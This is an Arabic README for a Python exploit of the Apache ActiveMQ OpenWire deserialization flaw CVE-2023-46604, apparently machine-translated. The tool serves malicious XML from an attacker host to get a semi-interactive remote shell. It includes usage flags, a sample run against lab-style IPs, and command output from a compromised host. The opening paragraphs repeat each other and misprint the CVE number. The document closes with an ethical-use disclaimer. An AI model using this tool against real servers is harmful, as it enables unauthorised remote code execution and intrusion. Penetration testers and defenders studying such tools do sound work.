
يستفيد هذا البرنامج النصي من CVE-2023046604 (Apache ActiveMQ) لتوليد شل زائف. تسمح الثغرة بتنفيذ التعليمات البرمجية عن بُعد بسبب إلغاء التسلسل غير الآمن في بروتوكول OpenWire.
يستغل هذا السكربت CVE-2023-46604 (Apache ActiveMQ) لإنشاء قشرة شبه تفاعلية. تسمح الثغرة بتنفيذ الأوامر عن بعد نتيجة لإلغاء التسلسل غير الآمن في بروتوكول OpenWire.
CVE-2023-46604 هي ثغرة في إلغاء التسلسل موجودة في بروتوكول OpenWire الخاص بـ Apache ActiveMQ. يمكن للمهاجم استغلال هذه الثغرة لتنفيذ أكواد عشوائية على الخادم الذي يعمل عليه ActiveMQ. يمكن للمهاجم إنشاء ملف XML ضار، وسيتم تنفيذ الأوامر منه على الخادم البعيد.
يقوم هذا الاستغلال بأتمتة وتجريد عملية إنشاء مستند XML، ويوفر خادمًا أساسيًا لتسليم الملف ويستقبل المعلومات من الخادم المستهدف عبر POST. وهذا يسمح بالاستغلال المستمر دون الحاجة إلى استدعاء قشرة عكسية أو نشر ملف ثنائي.
قبل تشغيل سكربت الاستغلال، تأكد من أن لديك:
يتطلب السكربت:
اختياري:
usage: exploit.py [-h] -i IP [-p PORT] -si SRVIP [-sp SRVPORT]
optional arguments:
-h, --help show this help message and exit
-i IP, --ip IP ActiveMQ Server IP or Hostname
-p PORT, --port PORT ActiveMQ Server Port, defaults to 61616
-si SRVIP, --srvip SRVIP
Serve IP
-sp SRVPORT, --srvport SRVPORT
Serve port, defaults to 8080
$python3 exploit.py -i 10.129.230.87 -p 61616 -si 10.10.14.59 -sp 8080
#################################################################################
# CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell #
# Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d #
#################################################################################
[*] Target: 10.129.230.87:61616
[*] Serving XML at: http://10.10.14.59:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit
#################################################################################
# Not yet connected, send a command to test connection to host. #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you #
# want to re-check the connection. #
#################################################################################
[Target not responding!]$ whoami
activemq
Apache ActiveMQ$ ls -lah
total 164K
drwxr-xr-x 5 activemq activemq 4.0K Nov 7 12:50 .
drwxr-xr-x 11 activemq activemq 4.0K Nov 6 01:18 ..
-rwxr-xr-x 1 activemq activemq 21K Apr 20 2021 activemq
-rwxr-xr-x 1 activemq activemq 6.1K Apr 20 2021 activemq-diag
-rw-r--r-- 1 activemq activemq 17K Apr 20 2021 activemq.jar
-rw-r--r-- 1 activemq activemq 5.5K Apr 20 2021 env
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-32
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 linux-x86-64
drwxr-xr-x 2 activemq activemq 4.0K Nov 5 00:13 macosx
-rw-r--r-- 1 activemq activemq 82K Apr 20 2021 wrapper.jar
Apache ActiveMQ$
يبني هذا الاستغلال على الإثبات المفاهيمي الأصلي بلغة Go بواسطة X1r0z والإثبات بلغة Python بواسطة evkl1d.
هذا الكود مُقدم لأغراض تعليمية واختبارات الأمن الأخلاقية فقط. يجب استخدامه بمسؤولية وفي بيئات تم منح الإذن الصريح لاختبارها فقط. الاستخدام غير المصرح به أو الخبيث محظور تمامًا. باستخدامك لهذا الكود، فإنك توافق على الالتزام بجميع القوانين واللوائح والمعايير الأخلاقية المعمول بها في منطقتك. يخلو المبدعون والمساهمون من أي مسؤولية عن أي أضرار أو عواقب ناتجة عن سوء الاستخدام أو الاستخدام غير المصرح به لهذا الكود.